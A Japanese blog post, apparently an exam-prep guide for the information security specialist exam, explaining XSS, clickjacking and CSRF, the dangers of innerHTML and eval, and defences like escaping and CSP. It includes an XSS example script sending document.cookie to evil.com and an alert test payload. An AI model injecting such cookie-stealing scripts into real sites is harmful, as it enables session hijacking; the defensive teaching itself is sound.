{"id":5694,"date":"2025-08-28T00:32:41","date_gmt":"2025-08-27T15:32:41","guid":{"rendered":"https:\/\/sky-peace.net\/?p=5694"},"modified":"2025-08-28T00:32:41","modified_gmt":"2025-08-27T15:32:41","slug":"sec-javascript","status":"publish","type":"post","link":"https:\/\/sky-peace.net\/certified\/sec-javascript\/","title":{"rendered":"JavaScript\u3092\u60aa\u7528\u3059\u308b\u4e3b\u306a\u653b\u6483\u624b\u6cd5\u2502XSS\u30fb\u30af\u30ea\u30c3\u30af\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u30fbCSRF"},"content":{"rendered":"

Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3084\u52d5\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u5236\u5fa1\u306b\u6b20\u304b\u305b\u306a\u3044\u6280\u8853\u3001\u305d\u308c\u304cJavaScript\u3067\u3059\u3002\u73fe\u4ee3\u306eWeb\u30b7\u30b9\u30c6\u30e0\u306b\u304a\u3044\u3066\u306f\u3001\u30d5\u30a9\u30fc\u30e0\u306e\u5165\u529b\u88dc\u52a9\u3084\u975e\u540c\u671f\u901a\u4fe1\uff08AJAX\uff09\u3001DOM\u306e\u64cd\u4f5c\u306a\u3069\u3001\u30e6\u30fc\u30b6\u30d3\u30ea\u30c6\u30a3\u3092\u9ad8\u3081\u308b\u305f\u3081\u306b\u5e83\u304f\u4f7f\u308f\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n

\u3057\u304b\u3057\u3001\u305d\u306e\u5229\u4fbf\u6027\u306e\u88cf\u306b\u306f\u91cd\u5927\u306a\u30ea\u30b9\u30af\u304c\u6f5c\u3093\u3067\u3044\u307e\u3059\u3002\u3068\u304f\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u9762\u3067\u306f\u3001XSS\uff08\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff09<\/strong>\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u6df1\u523b\u306a\u8106\u5f31\u6027\u306e\u6e29\u5e8a\u306b\u306a\u308a\u3084\u3059\u304f\u3001IPA\u304c\u5b9f\u65bd\u3059\u308b\u60c5\u5831\u51e6\u7406\u5b89\u5168\u78ba\u4fdd\u652f\u63f4\u58eb\u8a66\u9a13<\/strong>\u306b\u304a\u3044\u3066\u3082\u983b\u51fa\u306e\u51fa\u984c\u30c6\u30fc\u30de\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n

\u672c\u8a18\u4e8b\u3067\u306f\u3001JavaScript\u304c\u5f15\u304d\u8d77\u3053\u3059\u53ef\u80fd\u6027\u306e\u3042\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b9\u30af\u306b\u3064\u3044\u3066\u3001\u653b\u6483\u624b\u6cd5\u304b\u3089\u9632\u5fa1\u7b56\u307e\u3067\u4f53\u7cfb\u7684\u306b\u6574\u7406\u3057\u307e\u3059\u3002\u60c5\u5831\u51e6\u7406\u5b89\u5168\u78ba\u4fdd\u652f\u63f4\u58eb\u306e\u8a66\u9a13\u5bfe\u7b56\u3068\u3057\u3066\u3060\u3051\u3067\u306a\u304f\u3001\u5b9f\u52d9\u3067\u3082\u5f79\u7acb\u3064\u300c\u5b88\u308b\u3079\u304d\u5b9f\u88c5\u300d\u306e\u57fa\u790e\u77e5\u8b58\u3068\u3057\u3066\u3001\u305c\u3072\u6d3b\u7528\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n

JavaScript\u306e\u57fa\u672c\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u304a\u3051\u308b\u4f4d\u7f6e\u4ed8\u3051<\/h2>\n

JavaScript\u306f\u3001HTML\u3084CSS\u3068\u4e26\u3093\u3067Web\u958b\u767a\u306b\u304a\u3051\u308b\u57fa\u672c\u6280\u8853\u306e\u4e00\u3064\u3067\u3042\u308a\u3001\u4e3b\u306b\u30d6\u30e9\u30a6\u30b6\u4e0a\u3067\u5b9f\u884c\u3055\u308c\u308b\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u30b5\u30a4\u30c9\u30b9\u30af\u30ea\u30d7\u30c8<\/strong>\u3068\u3057\u3066\u5e83\u304f\u5229\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u30e6\u30fc\u30b6\u30fc\u306e\u64cd\u4f5c\u306b\u5fdc\u3058\u305f\u52d5\u7684\u306a\u8868\u793a\u5909\u66f4\u3084\u3001\u5165\u529b\u88dc\u52a9\u3001\u81ea\u52d5\u8a08\u7b97\u306a\u3069\u3001\u591a\u304f\u306e\u30a4\u30f3\u30bf\u30e9\u30af\u30c6\u30a3\u30d6\u306a\u6a5f\u80fd\u3092\u5b9f\u73fe\u3059\u308b\u305f\u3081\u306e\u57fa\u76e4\u3067\u3059\u3002<\/p>\n

\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u89b3\u70b9\u304b\u3089JavaScript\u304c\u7279\u5225\u306a\u6ce8\u76ee\u3092\u96c6\u3081\u308b\u306e\u306f\u3001\u305d\u306e\u67d4\u8edf\u3055\u3068\u81ea\u7531\u5ea6<\/strong>\u306b\u3042\u308a\u307e\u3059\u3002JavaScript\u306fHTML\u306e\u4e2d\u3067\u76f4\u63a5\u8a18\u8ff0\u3067\u304d\u3001DOM\uff08Document Object Model\uff09\u3092\u901a\u3058\u3066Web\u30da\u30fc\u30b8\u306e\u69cb\u9020\u3084\u5185\u5bb9\u3092\u81ea\u5728\u306b\u5909\u66f4\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059\u3002\u3064\u307e\u308a\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u8868\u793a\u753b\u9762\u3084\u64cd\u4f5c\u3092\u76f4\u63a5\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\u3067\u304d\u308b\u529b\u3092\u6301\u3063\u3066\u3044\u308b\u3068\u3044\u3046\u3053\u3068\u3067\u3059\u3002<\/p>\n

\u3053\u306e\u3088\u3046\u306a\u7279\u6027\u304c\u3001\u60aa\u610f\u3042\u308b\u7b2c\u4e09\u8005\u306b\u60aa\u7528\u3055\u308c\u305f\u5834\u5408\u3001\u5927\u304d\u306a\u30ea\u30b9\u30af\u3092\u751f\u3080\u539f\u56e0\u3068\u306a\u308a\u307e\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u4fe1\u983c\u3055\u308c\u3066\u3044\u308bWeb\u30da\u30fc\u30b8\u4e0a\u306bJavaScript\u306e\u30b3\u30fc\u30c9\u3092\u633f\u5165\u3059\u308b\u3053\u3068\u3067\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30af\u30c3\u30ad\u30fc\u60c5\u5831\u3092\u76d7\u3093\u3060\u308a\u3001\u507d\u306e\u5165\u529b\u30d5\u30a9\u30fc\u30e0\u3092\u8868\u793a\u3055\u305b\u305f\u308a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n

\u307e\u305f\u3001JavaScript\u306f\u5916\u90e8\u30b5\u30a4\u30c8\u3068\u306e\u901a\u4fe1\u3082\u53ef\u80fd\u3067\u3042\u308a\u3001\u653b\u6483\u8005\u304c\u7528\u610f\u3057\u305f\u30b5\u30fc\u30d0\u30fc\u306b\u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u3092\u9001\u4fe1\u3059\u308b\u3088\u3046\u306a\u51e6\u7406\u3082\u7d44\u307f\u8fbc\u3081\u307e\u3059\u3002\u3053\u306e\u3088\u3046\u306a\u6a5f\u80fd\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u3092\u65bd\u3057\u3066\u3044\u306a\u3044Web\u30b5\u30a4\u30c8\u306b\u3068\u3063\u3066\u3001\u91cd\u5927\u306a\u8105\u5a01\u3068\u306a\u308a\u307e\u3059\u3002<\/p>\n

\u60c5\u5831\u51e6\u7406\u5b89\u5168\u78ba\u4fdd\u652f\u63f4\u58eb\u8a66\u9a13\u3067\u306f\u3001\u3053\u3046\u3057\u305fJavaScript\u306e\u7279\u5fb4\u3092\u8e0f\u307e\u3048\u305f\u554f\u984c\u304c\u51fa\u984c\u3055\u308c\u307e\u3059\u3002\u653b\u6483\u8005\u304c\u3069\u306e\u3088\u3046\u306bJavaScript\u3092\u60aa\u7528\u3057\u3001\u3069\u306e\u3088\u3046\u306a\u88ab\u5bb3\u304c\u767a\u751f\u3059\u308b\u304b\u3001\u307e\u305f\u3069\u306e\u3088\u3046\u306a\u5bfe\u7b56\u3092\u8b1b\u3058\u308b\u3079\u304d\u304b\u3092\u7406\u89e3\u3059\u308b\u3053\u3068\u304c\u3001\u5408\u683c\u3078\u306e\u8fd1\u9053\u3068\u306a\u308b\u306e\u3067\u3059\u3002<\/p>\n

JavaScript\u3092\u60aa\u7528\u3059\u308b\u4e3b\u306a\u653b\u6483\u624b\u6cd5\u2502XSS\u30fb\u30af\u30ea\u30c3\u30af\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u30fbCSRF<\/h2>\n

JavaScript\u306e\u6301\u3064\u67d4\u8edf\u306a\u6a5f\u80fd\u306f\u3001\u5229\u4fbf\u6027\u306e\u88cf\u5074\u3067\u3055\u307e\u3056\u307e\u306a\u653b\u6483\u30d9\u30af\u30c8\u30eb<\/strong>\u3068\u306a\u308a\u5f97\u307e\u3059\u3002\u60c5\u5831\u51e6\u7406\u5b89\u5168\u78ba\u4fdd\u652f\u63f4\u58eb\u8a66\u9a13\u3067\u306f\u3001JavaScript\u3092\u60aa\u7528\u3057\u305f\u5177\u4f53\u7684\u306a\u653b\u6483\u624b\u6cd5\u306b\u3064\u3044\u3066\u306e\u51fa\u984c\u304c\u983b\u7e41\u306b\u898b\u3089\u308c\u307e\u3059\u3002\u3053\u3053\u3067\u306f\u7279\u306b\u51fa\u984c\u983b\u5ea6\u304c\u9ad8\u3044\u300cXSS\u300d\u300c\u30af\u30ea\u30c3\u30af\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u300d\u300cCSRF\u300d\u306e3\u3064\u3092\u4e2d\u5fc3\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002<\/p>\n

\u25a0 XSS\uff08\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\uff09<\/h3>\n

XSS\u306f\u3001Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u5165\u529b\u5024\u3092\u9069\u5207\u306b\u691c\u8a3c\u30fb\u7121\u5bb3\u5316\u305b\u305a\u306b\u305d\u306e\u307e\u307eHTML\u3068\u3057\u3066\u51fa\u529b\u3057\u3066\u3057\u307e\u3046\u3053\u3068\u306b\u3088\u308a\u3001\u60aa\u610f\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u5b9f\u884c\u3055\u308c\u3066\u3057\u307e\u3046<\/strong>\u653b\u6483\u3067\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u63b2\u793a\u677f\u306e\u6295\u7a3f\u6b04\u3084\u691c\u7d22\u30d5\u30a9\u30fc\u30e0\u306b\u6b21\u306e\u3088\u3046\u306a\u30b3\u30fc\u30c9\u304c\u5165\u529b\u3055\u308c\u305f\u5834\u5408\uff1a<\/p>\n

<script>document.location='http:\/\/evil.com\/steal?cookie='+document.cookie<\/script>\n<\/code><\/pre>\n
\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u305d\u306e\u307e\u307e\u753b\u9762\u4e0a\u306b\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0\u3055\u308c\u308b\u3068\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u30af\u30c3\u30ad\u30fc\u304c\u76d7\u307e\u308c\u3001\u653b\u6483\u8005\u306e\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3055\u308c\u3066\u3057\u307e\u3044\u307e\u3059\u3002<\/p>\n
XSS\u306f\u5927\u304d\u304f\u5206\u3051\u3066\u4ee5\u4e0b\u306e3\u7a2e\u985e\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n
    \n
  • \u53cd\u5c04\u578bXSS<\/strong>\uff1a\u4e00\u6642\u7684\u306bURL\u7b49\u306b\u4ed5\u8fbc\u307e\u308c\u308b\u30bf\u30a4\u30d7\uff08\u691c\u7d22\u30d5\u30a9\u30fc\u30e0\u306a\u3069\uff09<\/li>\n
  • \u683c\u7d0d\u578bXSS<\/strong>\uff1a\u6295\u7a3f\u5185\u5bb9\u306a\u3069\u306b\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u4fdd\u5b58\u3055\u308c\u308b\u30bf\u30a4\u30d7\uff08\u63b2\u793a\u677f\u3084\u30b3\u30e1\u30f3\u30c8\u6b04\uff09<\/li>\n
  • DOM\u30d9\u30fc\u30b9XSS<\/strong>\uff1aJavaScript\u3067DOM\u64cd\u4f5c\u3057\u305f\u7d50\u679c\u767a\u751f\u3059\u308b\u30bf\u30a4\u30d7\uff08\u5f8c\u8ff0\uff09<\/li>\n<\/ul>\n
    \u25a0 \u30af\u30ea\u30c3\u30af\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\uff08Clickjacking\uff09<\/h3>\n
    \u30af\u30ea\u30c3\u30af\u30b8\u30e3\u30c3\u30ad\u30f3\u30b0\u3068\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u610f\u56f3\u3057\u306a\u3044\u64cd\u4f5c\u3092\u884c\u3046\u3088\u3046\u306bUI\u3092\u507d\u88c5\u3059\u308b\u653b\u6483<\/strong>\u3067\u3059\u3002\u900f\u660e\u306aiframe\u3067\u91cd\u8981\u306a\u30dc\u30bf\u30f3\u3092\u8986\u3044\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u81ea\u5206\u306e\u610f\u5fd7\u3067\u64cd\u4f5c\u3057\u3066\u3044\u308b\u3088\u3046\u306b\u898b\u305b\u304b\u3051\u3066\u3001\u5b9f\u969b\u306f\u653b\u6483\u8005\u304c\u7528\u610f\u3057\u305fUI\u3092\u64cd\u4f5c\u3055\u305b\u308b\u3068\u3044\u3046\u624b\u6cd5\u304c\u5178\u578b\u3067\u3059\u3002<\/p>\n
    JavaScript\u306f\u3053\u306e\u653b\u6483\u306b\u304a\u3044\u3066\u3001\u900f\u660e\u5316\u3084\u4f4d\u7f6e\u8abf\u6574\u3068\u3044\u3063\u305fUI\u306e\u5236\u5fa1\u306b\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002\u88ab\u5bb3\u4f8b\u3068\u3057\u3066\u306f\u3001\u30bd\u30fc\u30b7\u30e3\u30eb\u30dc\u30bf\u30f3\u306e\u4e0d\u6b63\u62bc\u4e0b\u3084\u3001\u7ba1\u7406\u753b\u9762\u3067\u306e\u4e0d\u6b63\u64cd\u4f5c\u306a\u3069\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n
    \u25a0 CSRF\uff08\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff09<\/h3>\n
    CSRF\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u30ed\u30b0\u30a4\u30f3\u4e2d\u306eWeb\u30b5\u30fc\u30d3\u30b9\u306b\u5bfe\u3057\u3066\u3001\u4e0d\u6b63\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3055\u305b\u308b\u653b\u6483<\/strong>\u3067\u3059\u3002\u305f\u3068\u3048\u3070\u3001\u9280\u884c\u306e\u9001\u91d1\u6a5f\u80fd\u3092\u60aa\u7528\u3057\u3001\u30e6\u30fc\u30b6\u30fc\u304c\u610f\u56f3\u3057\u306a\u3044\u76f8\u624b\u306b\u632f\u308a\u8fbc\u307f\u3092\u3055\u305b\u308b\u3068\u3044\u3063\u305f\u30b1\u30fc\u30b9\u304c\u8a72\u5f53\u3057\u307e\u3059\u3002<\/p>\n
    JavaScript\u81ea\u4f53\u304cCSRF\u306e\u4e3b\u4f53\u306b\u306a\u308b\u308f\u3051\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u304c\u3001JavaScript\u3092\u4f7f\u3063\u3066\u610f\u56f3\u3057\u306a\u3044\u30d5\u30a9\u30fc\u30e0\u9001\u4fe1\u3084\u753b\u50cf\u8aad\u307f\u8fbc\u307f\u306b\u3088\u308bGET\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u767a\u751f\u3055\u305b\u308b\u3053\u3068\u3067\u3001\u8a98\u5c0e\u578b\u306eCSRF<\/strong>\u3092\u88dc\u52a9\u3059\u308b\u5f62\u3067\u95a2\u4e0e\u3057\u307e\u3059\u3002<\/p>\n
    \u3053\u308c\u3089\u306e\u653b\u6483\u624b\u6cd5\u306f\u3001\u60c5\u5831\u51e6\u7406\u5b89\u5168\u78ba\u4fdd\u652f\u63f4\u58eb\u8a66\u9a13\u306e\u5348\u5f8c\u554f\u984c\u3067\u300c\u30b7\u30ca\u30ea\u30aa\u578b\u4e8b\u4f8b\u300d\u3068\u3057\u3066\u51fa\u984c\u3055\u308c\u308b\u3053\u3068\u304c\u591a\u304f\u3001\u30b3\u30fc\u30c9\u306e\u8aad\u89e3\u3068\u30ea\u30b9\u30af\u306e\u7279\u5b9a\u80fd\u529b\u304c\u554f\u308f\u308c\u307e\u3059\u3002\u30ea\u30b9\u30af\u3092\u5358\u306b\u6697\u8a18\u3059\u308b\u3060\u3051\u3067\u306a\u304f\u3001\u300c\u3069\u3046\u60aa\u7528\u3055\u308c\u308b\u304b\u300d\u3092\u7406\u89e3\u3057\u3066\u304a\u304f\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n
    DOM\u64cd\u4f5c\u306b\u3088\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b9\u30af\u2502innerHTML\u3068eval\u306e\u5371\u967a\u6027<\/h2>\n
    JavaScript\u306e\u5927\u304d\u306a\u5229\u70b9\u306e\u3072\u3068\u3064\u304c\u3001DOM\uff08Document Object Model\uff09\u3092\u901a\u3058\u3066HTML\u69cb\u9020\u3092\u52d5\u7684\u306b\u64cd\u4f5c\u3067\u304d\u308b\u3053\u3068<\/strong>\u3067\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u64cd\u4f5c\u306b\u5fdc\u3058\u3066\u30da\u30fc\u30b8\u5185\u5bb9\u3092\u67d4\u8edf\u306b\u5909\u3048\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u53cd\u9762\u3001DOM\u64cd\u4f5c\u306e\u8aa4\u7528\u304c\u6df1\u523b\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b9\u30af<\/strong>\u306b\u3064\u306a\u304c\u308b\u3053\u3068\u3082\u3042\u308a\u307e\u3059\u3002<\/p>\n
    \u3053\u3053\u3067\u306f\u3001\u7279\u306b\u6ce8\u610f\u3059\u3079\u304d2\u3064\u306e\u6a5f\u80fd\u2015\u2015innerHTML<\/code>\u3068eval<\/code>\u2015\u2015\u306e\u5371\u967a\u6027\u3092\u4e2d\u5fc3\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002<\/p>\n
    \u25a0 innerHTML\u306e\u30ea\u30b9\u30af<\/h3>\n
    innerHTML<\/code>\u306f\u3001\u6307\u5b9a\u3057\u305f\u8981\u7d20\u5185\u306bHTML\u6587\u5b57\u5217\u3092\u76f4\u63a5\u633f\u5165\u3059\u308b\u305f\u3081\u306e\u30d7\u30ed\u30d1\u30c6\u30a3\u3067\u3059\u3002\u975e\u5e38\u306b\u4fbf\u5229\u3067\u591a\u7528\u3055\u308c\u308b\u4e00\u65b9\u3001\u4fe1\u983c\u3067\u304d\u306a\u3044\u5165\u529b\u3092\u305d\u306e\u307e\u307e\u633f\u5165\u3059\u308b\u3068XSS\u306e\u539f\u56e0\u306b\u306a\u308a\u307e\u3059<\/strong>\u3002<\/p>\n
    document.getElementById(\"output\").innerHTML = userInput;\n<\/code><\/pre>\n
    \u3053\u306e\u30b3\u30fc\u30c9\u306b\u5bfe\u3057\u3066\u3001\u653b\u6483\u8005\u304c\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u5165\u529b\u3092\u4e0e\u3048\u308b\u3068\uff1a<\/p>\n
    <script>alert('XSS!');<\/script>\n<\/code><\/pre>\n
    \u30b9\u30af\u30ea\u30d7\u30c8\u304c\u305d\u306e\u307e\u307e\u5b9f\u884c\u3055\u308c\u3066\u3057\u307e\u3044\u307e\u3059\u3002\u3053\u306e\u3088\u3046\u306b\u3001innerHTML<\/code>\u306fHTML\u69cb\u6587\u3068\u3057\u3066\u89e3\u91c8\u3055\u308c\u308b\u305f\u3081\u3001\u610f\u56f3\u3057\u306a\u3044\u30b9\u30af\u30ea\u30d7\u30c8\u5b9f\u884c\u306b\u3064\u306a\u304c\u308a\u3084\u3059\u3044\u306e\u3067\u3059\u3002<\/p>\n
    \u5bfe\u7b56\u3068\u3057\u3066\u306f\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u65b9\u6cd5\u304c\u6709\u52b9\u3067\u3059\uff1a<\/p>\n
      \n
    • HTML\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406\uff08<<\/code>, ><\/code>, &<\/code> \u306a\u3069\u306b\u5909\u63db\uff09<\/li>\n
    • textContent<\/code>\u3084innerText<\/code>\u306e\u4f7f\u7528<\/li>\n
    • HTML\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u5229\u7528\uff08React, Vue\u306a\u3069\uff09<\/li>\n<\/ul>\n
      \u25a0 eval\u306e\u30ea\u30b9\u30af<\/h3>\n
      eval()<\/code>\u306f\u3001\u6587\u5b57\u5217\u3068\u3057\u3066\u6e21\u3055\u308c\u305fJavaScript\u30b3\u30fc\u30c9\u3092\u305d\u306e\u5834\u3067\u5b9f\u884c\u3059\u308b\u5371\u967a\u306a\u95a2\u6570\u3067\u3059\u3002\u67d4\u8edf\u6027\u304c\u3042\u308b\u53cd\u9762\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u304c\u5b9f\u884c\u3055\u308c\u308b\u305f\u3081\u3001\u653b\u6483\u8005\u306b\u3068\u3063\u3066\u975e\u5e38\u306b\u9b45\u529b\u7684\u306a\u6a19\u7684<\/strong>\u3068\u306a\u308a\u307e\u3059\u3002<\/p>\n
      let calc = \"2 + 3 * 5\";\nlet result = eval(calc);\n<\/code><\/pre>\n
      eval\u306b\u6e21\u3059\u6587\u5b57\u5217\u3092\u52d5\u7684\u306b\u5916\u90e8\u5165\u529b\u304b\u3089\u53d7\u3051\u53d6\u3063\u3066\u3044\u305f\u5834\u5408\u3001\u653b\u6483\u8005\u306f\u4efb\u610f\u306eJavaScript\u3092\u5b9f\u884c\u3067\u304d\u3066\u3057\u307e\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u30b3\u30fc\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/strong>\u3068\u3044\u3046\u5f62\u3067\u8106\u5f31\u6027\u3092\u751f\u307f\u51fa\u3057\u307e\u3059\u3002<\/p>\n
      eval\u3068\u985e\u4f3c\u306e\u5371\u967a\u6027\u3092\u6301\u3064\u95a2\u6570\u306b\u306f\u4ee5\u4e0b\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n
        \n
      • Function()<\/code>\u30b3\u30f3\u30b9\u30c8\u30e9\u30af\u30bf<\/li>\n
      • setTimeout()<\/code>\u3084setInterval()<\/code>\u306b\u6587\u5b57\u5217\u3092\u6e21\u3059\u5f62\u5f0f<\/li>\n<\/ul>\n
        \u3053\u308c\u3089\u306e\u95a2\u6570\u306e\u5229\u7528\u306f\u3067\u304d\u308b\u9650\u308a\u907f\u3051\u3001\u5b89\u5168\u306a\u4ee3\u66ff\u624b\u6bb5<\/strong>\uff08\u4f8b\u3048\u3070JSON.parse()<\/code>\u306e\u4f7f\u7528\u306a\u3069\uff09\u3092\u63a1\u7528\u3059\u308b\u3079\u304d\u3067\u3059\u3002<\/p>\n
        DOM\u64cd\u4f5c\u306fWeb\u30a2\u30d7\u30ea\u306e\u4e2d\u6838\u3092\u62c5\u3046\u4fbf\u5229\u306a\u6a5f\u80fd\u3067\u3042\u308b\u4e00\u65b9\u3001\u4e0d\u7528\u610f\u306a\u5b9f\u88c5\u304c\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e8b\u6545\u3092\u62db\u304f\u3053\u3068\u3092\u3001\u60c5\u5831\u51e6\u7406\u5b89\u5168\u78ba\u4fdd\u652f\u63f4\u58eb\u8a66\u9a13\u3067\u3082\u7e70\u308a\u8fd4\u3057\u8b66\u544a\u3057\u3066\u3044\u307e\u3059<\/strong>\u3002\u7279\u306b\u5348\u5f8c\u554f\u984c\u3067\u306f\u3001\u3053\u3046\u3057\u305f\u4e0d\u9069\u5207\u306a\u30b3\u30fc\u30c9\u304c\u63d0\u793a\u3055\u308c\u3001\u8106\u5f31\u6027\u306e\u7279\u5b9a\u3084\u5bfe\u7b56\u3092\u554f\u3046\u51fa\u984c\u304c\u306a\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n
        JavaScript\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u2502\u5b89\u5168\u306a\u8a18\u8ff0\u3068\u30d6\u30e9\u30a6\u30b6\u5236\u5fa1<\/h2>\n
        JavaScript\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u305f\u653b\u6483\u3092\u9632\u3050\u305f\u3081\u306b\u306f\u3001\u300c\u653b\u6483\u3055\u308c\u306b\u304f\u3044\u5b9f\u88c5\u300d<\/strong>\u3068\u300c\u30d6\u30e9\u30a6\u30b6\u5074\u306e\u5236\u9650\u5f37\u5316\u300d<\/strong>\u306e\u4e21\u9762\u304b\u3089\u5bfe\u7b56\u3092\u8b1b\u3058\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u3053\u3067\u306f\u3001\u60c5\u5831\u51e6\u7406\u5b89\u5168\u78ba\u4fdd\u652f\u63f4\u58eb\u8a66\u9a13\u3067\u3082\u554f\u308f\u308c\u308b\u4ee3\u8868\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u3092\u7d39\u4ecb\u3057\u307e\u3059\u3002<\/p>\n
        \u25a0 \u30b5\u30cb\u30bf\u30a4\u30ba\u30fb\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406\u306e\u5fb9\u5e95<\/h3>\n
        XSS\u3092\u9632\u3050\u57fa\u672c\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u5165\u529b\u3092HTML\u306b\u57cb\u3081\u8fbc\u3080\u524d\u306b\u9069\u5207\u306a\u30a8\u30b9\u30b1\u30fc\u30d7\u51e6\u7406<\/strong>\u3092\u65bd\u3059\u3053\u3068\u3067\u3059\u3002<\/p>\n
          \n
        • <<\/code> \u2192 &lt;<\/code><\/li>\n
        • ><\/code> \u2192 &gt;<\/code><\/li>\n
        • &<\/code> \u2192 &amp;<\/code><\/li>\n
        • \"<\/code> \u2192 &quot;<\/code><\/li>\n
        • '<\/code> \u2192 &#x27;<\/code><\/li>\n<\/ul>\n
          \u305f\u3068\u3048\u3070\u3001JavaScript\u3067DOM\u306b\u5024\u3092\u633f\u5165\u3059\u308b\u5834\u5408\u3001innerHTML<\/code>\u306e\u4ee3\u308f\u308a\u306btextContent<\/code>\u3092\u4f7f\u3048\u3070\u3001\u30d6\u30e9\u30a6\u30b6\u306f\u305d\u306e\u5185\u5bb9\u3092\u300c\u30c6\u30ad\u30b9\u30c8\u300d\u3068\u3057\u3066\u6271\u3044\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u3057\u3066\u306f\u89e3\u91c8\u3057\u307e\u305b\u3093\u3002\u3053\u308c\u304c\u6700\u3082\u5b89\u5168\u306a\u51fa\u529b\u65b9\u6cd5<\/strong>\u306e\u4e00\u3064\u3067\u3059\u3002<\/p>\n
          \u25a0 Content Security Policy\uff08CSP\uff09\u306e\u5c0e\u5165<\/h3>\n
          CSP\u306f\u3001Web\u30d6\u30e9\u30a6\u30b6\u306b\u5bfe\u3057\u3066\u300c\u3053\u306e\u30b5\u30a4\u30c8\u3067\u8a31\u53ef\u3055\u308c\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u3084\u30ea\u30bd\u30fc\u30b9\u306e\u7bc4\u56f2\u300d<\/strong>\u3092\u660e\u793a\u7684\u306b\u6307\u793a\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u69cb\u3067\u3059\u3002\u9069\u5207\u306b\u8a2d\u5b9a\u3059\u308c\u3070\u3001\u5916\u90e8\u304b\u3089\u633f\u5165\u3055\u308c\u305f\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u5b9f\u884c\u3092\u6291\u5236\u3067\u304d\u307e\u3059\u3002<\/p>\n
          Content-Security-Policy: default-src 'self'; script-src 'self';<\/code><\/pre>\n
